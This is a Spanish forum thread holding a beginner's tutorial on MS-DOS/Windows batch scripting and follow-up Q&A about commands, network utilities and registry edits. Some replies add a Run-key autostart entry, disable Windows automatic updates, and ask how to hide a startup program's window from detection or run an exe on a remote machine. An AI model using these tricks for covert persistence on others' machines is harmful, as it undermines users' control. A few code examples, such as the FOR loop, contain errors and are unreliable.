Título: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 8 Septiembre 2003, 14:29 pm Hola
Viendo que hay muchas personas que preguntan a menudo sobre este tema he decidido poner un pequeño texto que explique como funciona y que se puede hacer. Posiblemente ya hay algún otro, pero yo no lo he visto. Espero que le sea de utilidad a alguien ******************************************** Introducción Antes que nada indicaros que se llaman procesos batch. La razón por la que a menudo se alude a ellos como bat es porque el entorno msdos requiere como máximo tres letras en la extensión y por tanto los archivos tienen la extensión .bat ¿Qué se puede hacer con ellos? Pues se puede hacer de forma automatizada todo aquello que se pueda hacer en la consola de msdos. ¿Como hago un archivo bat Pues son texto plano. Quiere eso decir que se pueden escribir en el block de notas, utilidad Edit de msdos o algún editor ascii. Al guardarlos deben tener la notación de nombres propia de msdos. Esto es un nombre con máximo 8 letras (espacios y \ no permitidos), luego un punto y la extensión que en este caso es obligatoriamente bat. Para crearlos desde la misma consola puedo utilizar varios sistemas Sistema 1: mediante la orden copy copy con: nombre_de_archivo.bat ... ... comandos ... ... Ctrl z (se acaba y se graba al pulsar Ctrl Z Método 2 mediante la redirección echo 1º línea a insertar >nombre_de_archivo.bat echo restantes líneas >>nombre_de_archivo.bat En cualquier caso para modificarlos podemos utilizar la utilidad Edit de msdos (abriendo el archivo concreto y luego grabando los cambios) o el block de notas. ¿Qué es eso de la redirección? Pues al igual que en unix se puede hacer que la salida de un comando sirva como entrada de otro. Para ello se utilizan los operadores < y > que sirven para indicar que salida debe ir a que lugar Por ejemplo si yo le doy la orden DIR, esta irá por defecto a la pantalla (dispositivo CON), pero puedo redirigir la salida a la impresora por defecto (dispositivo PRN) de la siguiente forma dir >prn Qué son los filtros Los filtros son órdenes que sirven para formatear la salida del comando de acuerdo a nuestros intereses. Se utilizan mediante la barra vertical (Alt 124). El filtro SORT sirve para ordenar la salida dir | sort El filtro MORE sirve para pausar la salida cada pantalla para que pueda ver todos los datos de salida con tranquilidad. Pasa de pantalla a pantalla al pulsar una tecla dir | more ¿Como puedo seleccionar varios archivos Para ello y teniendo en cuenta que los nombres de los archivos deben cumplir la notación de msdos (8 letras sin espacios como máximo, luego un punto y tres letras como máximo de extensión) se pueden utilizar los llamados comodines. * Equivale a varios caracteres ? equivale a un solo caracter. Ejemplos comando *.cfg -> seleccionar todos los archivos que tengan la extensión cfg comando a*.cfg -> seleccionar todos los archivos que comienzen por a y tengan la extensión cfg comando a*b.cfg -> seleccionar todos los archivos que comienzen por a, acaben por b y tengan la extensión cfg comando *asa*.cfg -> seleccionar todos los archivos que contengan 'asa' y tengan la extensión cfg comando c?asa.cfg -> seleccionar todos los archivos que contengan una C, luego un caracter cualquiera y luego 'asa'. Debe tener también la extensión cfg comando c?b*.* -> seleccionar todos los archivos que empiezen por c, tengan un caracter cualquiera, luego una b y cualquier extensión comando *.b?t -> seleccionar todos los archivos que tengan una extensión que empieze por b, luego un caracter cualquiera y luego una t. ¿Que son las trayectorias o paths? La trayectoria es el nombre completo de un archivo e indica la situación exacta de un archivo y su nombre. Si digo que el archivo se llama leeme.txt indico su nombre, pero nada mas. Se da por supuesto que se encuentra en el directorio actual. Si digo c:\leeme.txt indico que el archivo que me interesa se llama leeme.txt y se encuentra en el directorio raíz de C. Dado que en msdos no se admiten nombres largos (mas de 8 letras) ni espacios, cuando quiero utilizar un nombre de windows en msdos debo saber que este será reconvertido a su nombre corto. Este se obtiene añadiendo los seis primeros carácteres válidos del nombre, luego el signo ~ (alt 126) y luego un número. De esta forma un archivo que se encuentre en Mis documentos en win98 tendrá el path c:\misdoc~1\leeme.txt También se pueden utilizar (mientras las comillas para delimitar el nombre "c:\Mis Documentos\leeme.txt" Pero esto solo vale cuando se utiliza msdos como consola (no cuando se inicia windows 98 en modo msdos) Obsérvese que se utiliza la barra contraria a la de linux/unix para especificar subcarpetas o subdirectorios Esta sería la trayectoria de mimusica.mp3 c:\misdoc~1\mi~1\mimusica.mp3 Qué equivale a "c:\Mis Documentos\Mi Música\mimusica.mp3" Cuales son los nombres de dispositivos La pantalla se llama CON. Por eso si redirigo algo a CON lo estoy sacando por pantalla. La impresora por defecto se llama PRN La primera impresora se llama Lpt1 y las demás Lpt2, Lpt3 (una en cada puerto paralelo instalado en el sistema). Hasta donde yo sé no hay posibilidad de llegar a USB si no es la impresora por defecto. Como se les llama a las unidades lógicas Siempre es una letra seguida del signo dos puntos. A: = disquetera B: = reservada para segunda disquetera C: = primera partición (normalmente es la que arranca) D: = segunda partición (generalmente el cdrom) Por eso si se crea una unidad lógica mediante netbios en windows, esta puede tener un nombre msdos para poder acceder a ella desde la consola. La letra que se asigne no puede corresponder a una unidad lógica existente. ¿Qué comandos puedo utilizar? Comandos básicos CLS -> borra pantalla ECHO -> tiene varias posibilidades: Echo sin parámetros saca el estado en que se encuentra la variable echo (on u off) Echo on activa el echo (como en un terminal TTY) por lo que los comandos se verán en pantalla y luego su resultado Echo off desactiva el comando echo y ya se verán los resultados de la ejecución del comando, pero no el comando en sí mismo Echo literal saca por pantalla el literal. Por eso al hacer echo literal >fichero.bat estamos redirigiendo la salida de echo literal (que tendría que salir por la pantalla) al archivo fichero.bat. PAUSE ->Sirve para sacar un mensaje y parar la ejecución hasta que se pulse una tecla PROMPT ->Sirve para cambiar el prompt de msdos. El más habitual es $p$g que corresponde a $p = mostrar trayecto actual $g = mostrar el separador > $l = mostrar el separador < $b = mostrar el separador | $q = mostrar el signo = $$ = mostrar el signo $ $t = mostrar la hora $d = mostrar la fecha $v = mostrar la versión del sistema $n = mostrar unidad actual $h = retroceso. Borra el caracter previo $e = esc. Muestra el signo correspondiente al asci 27 $_ = Retorno de carro y salto de línea (equivale a chr(10) & chr(13) Por eso si ponemos prompt $p$g el cursor muestra la trayectoria donde estamos y luego el separador. Es posible añadir texto (por ejemplo prompt Mi_nombre $p$g DATE Ver/poner la fecha del sistema TIME Ver/poner la hora del sistema VER Versión del sistema VOL unidad Volumen de la unidad especificada PATH Indica un trayecto por defecto si se produce una petición de un archivo que no está en el directorio actual. Por eso en windows 98 suele haber una línea en autoexec.bat que es path c:\windows; c:\windows\command que indica que si se solicita un ejecutable que no esté en el directorio actual, lo busque primero en la carpeta windows y luego en la subcarpeta command. KEYB código_pais,juego_de_caracteres,definición_de_teclado, El código de país de españa es el 'sp' El juego de caracteres aplicable a españa es el 850 ó 437 El archivo de definición de teclado es keyboard.sys Para configurar un teclado en español keyb sp,,c:\windows\command\keyboard.sys SYS unidad Transferir el sistema operativo a la unidad especificada. DOSKEY Emular la capacidad de unix/linux de recordar los comandos introducidos anteriormente mediante la flecha arriba del teclado. MEM parámetros Muestra la memoria usada y libre en el sistema /p -> muestra por programas /d -> por programas y controladores /c -> clasifica por tamaño Comandos de manejo de archivos COPY origen destino Sirve para copiar archivos de un lugar a otro. el origen debe ser un trayecto completo de donde están los archivos a copiar. Si se omite se entiende que en el directorio actual. El destino debe ser una trayectoria completa de donde dejar el/los archivo(s) copy miarchivo.txt c:\ (copiarlo al directorio raíz de C) copy miarchivo.txt c:\miarch.txt (copiarlo y además cambiarle el nombre a miarch.txt) copy *.txt a:\ (copiar todos los archivos que tengan la extensión txt a la unidad A) copy *.txt c:\misdoc~1 (copiar todos los archivos que tengan la extensión txt al directorio Mis documentos (cuyo nombre corto es misdoc~1). DEL archivo(s) Borrar archivos en seleccionados del leeme.txt (borra el archivo leeme.txt en el directorio actual) del c:\leeme.txt (borra el archivo leeme.txt que se encuentra en c:\) del archiv~1\*.* (borra todos los archivos que se encuentren en el directorio 'Archivos de programa' cuyo nombre corto es archiv~1 (no se borran las subcarpetas) DELTREE archivo(s) -y Borra el arbol especificado (si es un archivo pues el archivo, si es una carpeta pues la carpeta con todas las subcarpetas que incluya). Con el parámetro -y no pregunta cada vez Este comando en realidad no es un comando sino una utilidad incluída en msdos. MKDIR nombre (o bien MD nombre) Sirve para crear un directorio Md micarpeta CHDIR nombre (o bien CD nombre) Sirve para ir al directorio aludido. Se le tiene que dar la trayectoria completa o si no intentará desplazarse desde el directorio actual. Cd c:\archiv~1 (se va a archivos de programa) Cd .. (se va al directorio superior) RMDIR nombre (o bien MD nombre) Borra un directorio. Este debe estar vacío. RD c:\Misdoc~1 (borra Mis Documentos, aunque no podrá porque no está vacío). DIR trayecto Saca una lista del contenido del directorio especificado en el trayecto. Si no se especifica nada, se entiende el actual. Si se pone como parámetro /W saca un listado resumido. Si se pone como parámetro /P saca un listado utilizando el filtro more. ATTRIB archivo(s)-> Muestra los atributos de los archivos indicados y en su caso permite cambiarlos. Los atributos son: H -> oculto. Se activa con +h y desactiva con -h R -> Lectura. Solo lectura con +r, normal con -r S -> Sistema. Se activa con +s y desactiva con -s A -> Modificado. Para copias de seguridad incrementales. +a indica modificado y -a indica no modificado. Attrib miarchivo.txt (mostrar los atributos de miarchivo.txt) attrib *.exe +r +r +s (pone a todos los archivos con extensión exe como ocultos, del sistema y read only) RENAME o REN nombre1 nombre2 Cambiar el nombre de archivo Ren miarchivo.txt miarchivo2.txt TYPE archivo Muestra por pantalla el contenido de un archivo type miarchivo.txt Comandos de disco DISCKCOPY origen destino-> Copia disquetes completos. Diskcopy a: a: Copia el disquete introducido en la unidad A a un disquete que se introducirá posteriormente en la unidad A FDISK Permite editar las particiones del disco duro. Con la opción /mbr permite borrar el Master Boot Record FORMAT unidad parámetros /q -> formateo rápido /s -> Transferir el sistema operativo Format a: /s formatea el disquete y le transfiere el sistema operativo básico de arranque. LABEL unidad etiqueta Cambiar la etiqueta de volumen del disco de la unidad label a: midisquete MSCDEX Montar una unidad de CdRom en msdos (solo requerido si se carga msdos sin estar windows cargado previamente (por ejemplo cuando se arranca desde disquete). Suponiendo un CdRom al que se haya cargado en config.sys con el nombre MiCd mscdex /d:MiCd Scandisk unidad parámetros Para comprobar/reparar el estado del disco /autofix -> reparar automáticamente errores /surface -> hacer pruebas de superficie /checkonly -> no reparar, solo chequear Comandos para programación EDIT archivo Editor de textos utilizado para editar scripts y archivos de texto. DEBUG archivo parámetros de archivo Inicia el desensamblador con el programa indicado al que se le pasan los parámetros especificados. CHOICEtexto opciones Se utiliza en programas bat para dar a elegir a un usuario entre un conjunto de opciones La respuesta se devuelve mediante la variable errorlevel choice Elija una opción snc if errorlevel 1 goto ... if errorlevel 2 goto ... if errorlevel 3 goto ... Este ejemplo muestra el literal "elija una opción y da a elegir s (sí), n (no) o C (continuar) por ejemplo las tres siguientes líneas especifican a donde debe saltar el flujo del programa según la tecla pulsada. Comandos de red ARP parámetros Modificar la tabla arp. -a -> mostrar la tabla arp -s ip mac -> agregar una entrada a la tabla arp FTP Iniciar el cliente ftp IPCONFIG parámetros Mostrar las características de configuración de IP /all -> muestra toda la información de configuración /release adaptador -> libera la ip del adaptador especificado /renew adaptador -> renueva la ip para el adaptador especificado /flushdns -> purga la caché de resolución de dns /registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns /displaydns -> muestra el contenido de la cache de resolución dns NBTSTAT Hace un estado de la red por netbios Tiene muchos parámetros. Consultarlos mediante nbtstat /? NET parámetros Comando para el uso de redes netbios USE \\equipo\recurso -> para acceder a unidades lógicas compartidas. Se le asignará un nombre de unidad y estará disponible como una unidad mas del sistema. USE \USER: dominio\usuario para acceder a un dominio USE unidad /DELETE eliminar el acceso a unidad compartida. SHARE trayecto /REMARK texto -> para compartir un recurso en red START -> para comenzar sesión netbios STOP -> para detener netbios NETSTAT Para ver el estado de la red. -a -> mostrar todos los puertos y conexiones -n -> mostrar números de puertos y direcciones -r -> mostrar la tabla de rutas -s -> mostrar estadísticas por protocolo -p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas NSLOOKUP dominio Muestra el dominio, su ip, dns donde se resuelve y sus alias PING Utilizar ICMP para llegar a un determinado nodo TELNET ip puerto Utilizar el protocolo telnet para acceso a un servidor exterior TRACERT destino tracear el camino hasta llegar al destino especificado Programación BAT Para crear un script bat podemos utilizar cualquiera de los métodos expuestos anteriores y utilizar cualquiera de los comandos especificados. Pueden recibir parámetros según los cuales realizar operaciones u otras. Un caso especial es el archivo autoexec.bat que se ejecuta automáticamente en windows 98 y anteriores. debe estar en el directorio raíz. ******************************************** Ejemplo 1 Archivo bat crea un disquete de arranque en la unidad A con cdrom montado y teclado en español. echo off rem **** esto es un comentario rem **** formatear disquete y pasarle el sistema format a: /s rem **** copiar archivos necesarios para teclado en español copy c:\windows\command\keyboard.sys a: copy c:\windows\command\keyb.com a: rem **** copiar archivos necesarios para montar el cdrom copy c:\windows\command\mscdex.exe rem aquí hay que copiar el driver dos del cdrom que rem viene con el disquete que lo acompaña. rem copiar otras utilidades prácticas para un disco de inicio copy c:\windows\command\fdisk.exe a: copy c:\windows\command\format.exe a: copy c:\windows\command\deltree.exe a: rem crear el archivo de inicio autoexec.bat en disquete echo keyb sp,,keyboard.sys >a:autoexec.bat echo path c:\windows;c:\windows\command;a:\ >>a:autoexec.bat echo mscdex /d:MiCdrom >>a:autoexec.bat rem crear el archivo de configuración para montar el driver del cdrom echo dos=high,umb >a:config.sys echo device=a:\nombre_del_driver.sys /d:MiCdRom >>a:config.sys echo ************************************** echo El disco de arranque ha sido creado echo ************************************** ******************************************* Ejemplo 2 En el caso anterior he puesto la ruta de origen c:\windows\command que es donde se encuentra en windows 98. Sin embargo en Win2k se encuentra en \winnt\win32 por lo que en caso de win2k deberíamos cambiar eso. Win2k tampoco usa autoexec.bat por lo que para no perderme en diferencias entre uno y otro voy a suponer que en vez de c:\windows\command quiero que el origen sea variable echo off rem si no se da parámetro terminar if %1z = z goto fin rem **** esto es un comentario rem **** formatear disquete y pasarle el sistema format a: /s rem **** copiar archivos necesarios para teclado en español copy %1\keyboard.sys a: copy %1\keyb.com a: rem **** copiar archivos necesarios para montar el cdrom copy %1\mscdex.exe rem copiar utilidades copy %1\fdisk.exe a: copy %1\format.exe a: copy %1\deltree.exe a: fin: para ejecutar este script deberíamos darle un parámetro que será el origen de los archivos. En el caso anterior esto era c:\windows\command. En el caso de Win2k esto es c:\winnt\win32 Miprograma c:\windows\command (para utilizar esta ruta como ruta origen) Miprograma c:\winnt\win32 (para utilizar esta otra ruta como ruta origen) ******************************************** Ejemplo 3 ******************************************** Creación de un archivo para consultas habituales sobre la red echo off echo 1 -> examinar netbios echo 2 -> examinar la red echo 3 -> examinar dominio echo 4 -> examinar la tabla de arp echo 5 -> Acceder a unidad lógica echo 6 -> Compartir unidad lógica echo 7 -> Acceder a un dominio echo pulse una tecla del 1 al 6 para elegir choice 123456 if errorlevel 1 goto netbios if errorlevel 2 goto red if errorlevel 3 goto dominio if errorlevel 4 goto arp if errorlevel 5 goto acceder if errorlevel 6 goto compartir if errorlevel 7 goto accesodominio goto fin netbios: nbtstat -na goto fin red: netstat -na goto fin dominio: rem %1 es un parámetro del dominio a consultar nslookup %1 goto fin arp: arp -a goto fin acceder: rem %1 es un parámetro de la unidad a acceder. Debe rem ser del tipo \\ordenador\recurso net use %1 net start goto fin compartir: rem %1 es el directorio a compartir. Debe ser algo como rem c:\misdoc~1 rem %2 es el texto que queremos que tenga como nombre largo en windows net share %1 remark %2 net start goto fin accesodominio: rem %1 es el dominio al que queremos acceder rem %2 es el usuario al que queremos introducir net use user %1\%2 net start fin: Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: TaN€R en 15 Mayo 2004, 14:06 pm mediante net star podemos ejecutar un archivo ya subido a una maquina remota?
net start \\ip\rutadel archivo que tenemos metido\archivo.exe o lo que sea -h esto es valido? Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 16 Mayo 2004, 07:58 am Hola
No, net start inicia sesiones de red. Lo puedes utilizar para autentificarte en un dominio iniciando una sesión combinando con logon. Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: TaN€R en 16 Mayo 2004, 08:06 am gracias soplo
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: ..SnIgCiO.. en 22 Mayo 2004, 03:13 am y como seria para borrar una clave del registro?
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 22 Mayo 2004, 06:31 am Hola
No se puede acceder al registro mediante la programación bat. Lo que deberías hacer es una aplicación de consola que accediera al registro y llamarla desde un script bat. Naturalmente tendrías que tener permiso para modificarlo si es lo que deseas. Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: rakel en 24 Mayo 2004, 20:03 pm ..SnIgCiO.. para modificar el registro lo que necesitas crear es un .reg y ejecutarlo aligual que los .bat lo puedes hacer con el notepad....un ejemplo:
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU] "NoAutoRebootWithLoggedOnUsers"=dword:1 "NoAutoUpdate"=dword:1 "AUOptions"=dword:2 "UseWUServer"=dword:1 "NoAutoRebootWithLoggedOnUsers"=nombre de la clave dword:= tipo de clave 1= valor de la clave Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 26 Mayo 2004, 05:33 am Hola
Efectivamente lo que te pone rakel está bien. Solo que para que funcione tienes que tener derecho a modificar el registro. Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: SpeDhy en 2 Junio 2004, 11:36 am Aprovecho con esto de los bat, me gustaría que alguien me diera un ejemplo con el comando AT, para hacerlo ejecutar todos los dias a una misma hora, he intentado hacerlo pero no me ha salido, lo que si he podido es ejecutar una tarea en el dia actual a una hora específica, me sería de mucha ayuda si me pudieran aportar un ejemplo de como se puede hacer.
Citar y como seria para borrar una clave del registro? Con esto he podido borrar y agregar valores al registro, espero que te sirva. Código: REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Nombre_Del_Valor /t REG_EXPAND_SZ /d "Ruta_Hacia_el_archivo" saludos... PD:Muy buen manual soplo ;) Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: TaN€R en 3 Junio 2004, 04:46 am hola,se me presenta una duda y problema,que creo
NO tiene solución. Se trata de un programa sencillo ,un bat de este tipo: Citar @echo off cd c: cd juegos start c:\mame32.exe -h Tan simple como esas lineas de codigo. Tan simple como meterlo en la ruta menú inicio/programas/inicio,y en efecto se ejecuta al entrar en mi escritorio. problemas? SI. Se supone que tiene que"rular" oculto el mame,pues asi está programado. Sin embargo puede apreciarse al entrar,como se abre una ventana msdos,que dura milisemas de segundo,en volverse a cerrar. Luego no se ven los juegos,pero estan corriendo según veo en el administrador de tareas.osea,que,todo bien menos lo de la ventanita.Se vé y se detecta. No se como conseguir que esa ventana no se vea ,ni un milisegundo,ni medio. es posible?que hago mal?gracias Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 3 Junio 2004, 05:37 am Hola
El comando 'echo off' indica que no se saquen comandos ni resultados por pantalla. También puedes iniciar una línea con el caracter '@'. Por ejemplo @copy *.* c: no mostrará ningún resultado. Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: TaN€R en 3 Junio 2004, 06:08 am ya he efectuado los cambios,aún no lo he probado.
Gracias por aclarar mis dudas. PosTEAré de new,si alguna duda "me llama",para recibir un nuevo"soplo"de aprendizaje. salu2 : ) Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: itant en 3 Junio 2004, 21:02 pm Una pregunta, cómo podría leer un fichero desde un bat?
me refiero a si hay alguna opción de leer un fichero tipo txt e ir leyendo linea por linea dicho fichero desde un bat hasta acabar el fichero (end of file). saludos! Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 5 Junio 2004, 02:42 am Hola
Puedes utilizar el comando type con el filtro more para que al llenar la pantalla se pare. type archivo | more También puedes enviarlo a la impresora por ejemplo type archivo >lpt1 Un saludo Título: AYUUUUDAAAAA Publicado por: billyboca en 8 Junio 2004, 04:02 am por favor neceesito la sabiduria de SOPLO.....quiero saber i hay forma de usa el comando COPY para copiar subcarpetas..-...intenté con varias cosas....incluso usé COPY /? pero la ayuda no decia nada de eso....si me podes ayudar con eso te hago un monumento!!!! ;D MIL GRACIASSSS
ADIOSSSSSSS Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 8 Junio 2004, 23:32 pm Hola
Citar neceesito la sabiduria de SOPLO ;D ;D ;DBueno, mi excelsa majestad te concede audiencia ;D ;D ;D Para copiar una carpeta y los subdirectorios que incluye en vez de utilizar el comando copy debes utilizar el comando extendido xcopy de la siguiente forma: XCOPY origen destino /S /E El parámetro /S indica que debe copiar las subcarpetas El parámetro /E indica que debe crear subcarpetas aunque estén vacías (para preservar la estructura del arbol que copias). Hay mas opciones. Para verlas haces xcopy /? Ejemplo xcopy "c:\archivos de programa" f: /s /e Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: TaN€R en 9 Junio 2004, 04:01 am Soplo,me recuerdas con esa majestuosa forma de hablar,
a algunos episodios del libro de don quijote,que estoy leyendo,con dibujos y todo pero el libro en sí = escrito. Bueno ,sigo teniendo problemas,en mi caso,aunque ponga el comando @echo off (Que según te entendi evita que se muestren resultados por pantalla),no cumple al 100% su misión. Es decir sale una ventana dura 1 segundo o menos. pone exactamnte: c:\windos\system32\cmd.exe y el archivo bat sta asi compuesto Citar @echo off cd c: cd docume~1 cd yo cd scritorio cd joyita start lokesea.exe -h Si vuesa merced tiene tiempo,demé a mí otro soplo de sabiduria ;D Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 9 Junio 2004, 06:20 am Hola
Ummm bueno vale ¡Te concedo audiencia! ;D ;D ;D Lo que te pasa es que al llamar al bat (o cmd) durante unos segundos te sale la shell. Luego el archivo en sí mismo no saca ninguna línea. La forma de evitarlo seguramente es ejecutarlo minimizado ¿Has probado a ponerle en las propiedades a ese archivo que se ejecute minimizado? ¿Donde coño han metido mis molinoooossss? ;D Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: TaN€R en 9 Junio 2004, 07:12 am y digo yo vuesa merced,si esa orden de ejecutarse minimizado,podria incluirse dentro de mi superarchivo bat,
como un mandato más; y de qué modo se podria hacer susodicha orden,en caso de poderse hacer, Más, espero, no haberos confundido con mi juego de palabras,pues no era ese mi acometido,sino más bien, el de resolver dicho mandato,de la forma más caballeresca posible. Si lo consigo prometo enseñarselo a la sinpar Dulcinea del toboso,xD ;D Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 9 Junio 2004, 08:58 am Hola
Le das con el botón de la derecha al acceso directo que has puesto en el menú inicio y eliges propiedades. Allí tienes una opción para ejecutar en pantalla completa, normal o minimizado. Un saludo P.D. ¡KOMO TE ACERKES A DULZINEA TE MACHAKO LOS WEBOS! Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 11 Junio 2004, 09:25 am Amplío un poco la información anterior con los comandos mas complejos y difíciles de entender:
------------------------------------------------------------------------------ COMANDO IF Sirve para hacer bifurcaciones en el código. Admite 6 sintaxis distintas: IF EXIST nombre_fichero ORDEN ( si existe nombre_fichero ejecutar la orden especificada en ORDEN) IF NOT EXIST nombre_fichero ORDEN ( igual, pero si no existe el fichero) IF cadena1 == cadena2 ORDEN ( si cadena1 es igual a cadenado2 ejecutar la orden especificada en ORDEN) IF NOT cadena1 == cadena2 ORDEN ( si cadena1 es distinta de cadena2 hacer orden ) IF ERRORLEVEL número ORDEN ( si el comando anterior acabó con un código de error es igual o superior a número hacer orden ) IF NOT ERRORLEVEL número ORDEN ( si el comando anterior acabó con un código de error inferior a número ) ---------------------------------------------------------------------------------- COMANDO FOR Esta orden repite la orden especificada para cada entrada de una lista de ficheros (separados por espacios). En esta lista se pueden emplear comodines. La variable siempre lleva dos veces el signo % FOR %%variable IN lista DO ORDEN Por ejemplo FOR %%x IN (texto1.txt texto2.txt texto3.txt) do delete %%i Esta orden haría lo siguiente: repetiría 3 veces la orden delete. En cada vez %%i valdría cada valor de la lista de manera que la primera vez sería texto1.txt, la segunda vez texto2.txt y la tercera vez texto3.txt. Así esta orden haría: DELETE TEXTO1.TXT DELETE TEXTO2.TXT DELETE TEXTO3.TXT --------------------------------------------------------------------------------- VARIABLES DE ENTORNO Se pueden declarar variables. SET variable = valor Declara una variable de tipo string cuyo contenido es valor SET /n variable = valor1 + valor2 + valor3 Declara una variable numérica cuyo contenido es el resultado de la operación. También hay algunas variables que ya vienen declaradas como la variable PATH, OS, por ejemplo. Estas variables que ya vienen declaradas puedes verlas en propiedades de mi pc, avanzado, variables de entorno y están a tu disposición en ficheros por lotes (bat) Para referirte a cualquiera de estas variables las pones entre los signos % Así para saber saber si tu sistema operativo es win98 haces IF %os% == WINDOWS98 ECHO ES WINDOWS 98 Por último están las variables que utilizas en un for que tienen siempre dos veces el signo % delante. -------------------------------------------------------------------------------- ETIQUETAS Se pueden definir etiquetas que se utilizarán para saltar a ellas cuando se cumpla una condición. Para definir una etiqueta pones una línea que empiece por : y luego el nombre de la etiqueta Por ejemplo ORDEN 1 ORDEN 2 if %os% == Winnt goto winnt echo se hace esta línea si no es winnt goto fin :winnt echo se hace esta línea si es winnt el sistema operativo :fin ---------------------------------------------------------------------------- PARAMETROS REEMPLAZABLES A menudo en este tipo de archivos tu quieres poder pasarle parámetros. Estos parámetros sirven para que el script haga una cosa u otra en función del parámetro que le pasas. Por ejemplo si tienes un archivo bat cuyo nombre es AVERIGUARSISTEMAOPERATIVO.BAT tu puedes hacer lo siguiente: AVERIGUARSISTEMAOPERATIVO windows98 AVERIGUARSISTEMAOPERATIVO win2000 AVERIGUARSISTEMAOPERATIVO winxp En los tres casos llamas al mismo script AVERIGUARSISTEMAOPERATIVO, pero en cada caso le pasas un parámetro diferente. En el primero le pasas windows98, en el segundo le pasas win2000 y en el tercero le pasas winxp. Para referirte al parámetro en el código debes saber que el sistema les asigna nombre de forma automática. Ál primero le llama %1, al segundo %2, al tercero %3, ..., al mil %1000 Así yo podría tener un archivo bat llamado AVERIGUARSISTEMAOPERATIVO.BAT que me confirma si mi sistema operativo es el que yo creo. Su código sería if %os% == %1 goto correcto echo El sistema operativo NO es %1 goto fin :correcto echo el sistema operativo SI es %1 :fin Suponiendo que mi sistema operativo fuera winxp de los tres casos antes citados, los dos primeros obtendría 'el sistema operativo NO es X (siendo X windows98 o windows2000) En el tercer caso obtendría 'el sistema operativo SI es winxp porque la cadena %os% es igual a la cadena %1. Ambas son winxp Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: armonight en 15 Junio 2004, 09:44 am hola mi nombre es sebastian
amo la programacion necesito ayuda para crear un archivo bat que elimine los archivos temporales de internet - el historial - los archivos de la carpeta temp en conf local - doc recientes tengo claro que los nombres que tengan mas de 8 caracteres o espacio debo escribirlos asi c:\Documents and Settings\Administrador\Config~1 Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: TaN€R en 15 Junio 2004, 10:25 am muy bueno soplo,y para los que menos saben ,
un pequeño apunte,para que lo entiendan mejor,todo. una variable que es? quieres hacer una agenda de telefonos,por ejemplo. pues lo primero es declarar las variables ejemplo: set variable= agenda set agenda=luis,pepe,paco,soplo el if es una "condición",muy usada en programación, en los diferentes lenguajes.Condiciona if viene a decir "Si hago esto... (Si se cumple una condición hago una determinada cosa). Dicen que antes de hacer un programa bat o lo que sea, se debe escribir el pseudocodigo. pseudocodigo creo que se llama, algo asi como hacer un esquema de lo que vas ha hacer antes de hacerlo,sobre lapiz y papel por cierto ¿como se insertaba un comentario que no se muestre?es decir una aclaracion para nosotros mismos, pero que no se vea en el programa,se que con action script era algo asi //este es mi comentario y no se mostrará, es igual con los bat? Por cierto soplo estaria muy bien,hacer algun programa los que manejen bien , bien el tema,y postearlo aqui.con sus explicaciones debidas. dar ideas,comentar y participar construyendo nuevos bat prácticos. estaria muy bien Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 15 Junio 2004, 23:23 pm Citar ¿como se insertaba un comentario que no se REM comentariomuestre? Citar Por cierto soplo estaria muy bien,hacer algun programa No me parece una buena porque la mayoría de los casos en los que se usan estas cosas suelen ser en scripts de inicio para usuarios y perfiles en dominios y por tanto hay se mezclan varias cosas además de complicarse bastante.los que manejen bien , bien el tema,y postearlo aqui.con sus explicaciones debidas. dar ideas,comentar y participar construyendo nuevos bat prácticos. Creo que esos ejemplos serían ilegibles, porque a menos que te hayas enfrentado con perfiles de usuario y scripts de inicio de sesión en dominios no sabes ni de lo que te hablan y aún así cada caso es diferente. Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: billyboca en 2 Julio 2004, 04:22 am SOPLO!!!
solicito tu yuda nuevamente :-[ use el comando XCOPY com ome recomendaste...y todo v muy bien...el unico problema que se me presenta es que luego de copiar los archivos...carpetas...y subcarpetas...cuando entro al explrador de windows....algunas carpetas no las veo...pero si escribo la ruta en la barra de direcciones....las veo perfectamente.... NO ENTIENDO COMO PUEDE PASAR ESO :o :o :o :o agradezco tu ayuuda anterior y la que le das a todos ;D adiooooooossssssssss Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 2 Julio 2004, 05:43 am Eso no tiene que ver con este tema.
Tu problema es un problema de windows y probablemente se debe a que necesitas hacer scandisk o quizá esas carpetas están marcadas como ocultas. Si hiciste como te dije esas carpetas están ahí seguro. Si tienes problemas postea en el foro de windows para que no se nos lie una cosa con otra. Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: peterax en 29 Julio 2004, 19:04 pm Hola a todos soy nuevo en este foro y quisiera preguntarles como puedo hacer en mi archivo .bat que me lea de un fichero de configuracion el cual consta por campos o columnas.
ejemplo pedro 342 caramelo casa args quisiera que me el script me almacenara en 5 variables el contenido de cada campo. Esto lo tendria que hacer para cada registro. Espero que me podais ayudar alguno, muchas gracias. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: peterax en 29 Julio 2004, 19:58 pm Se me olvidaba una duda muy muy importante.
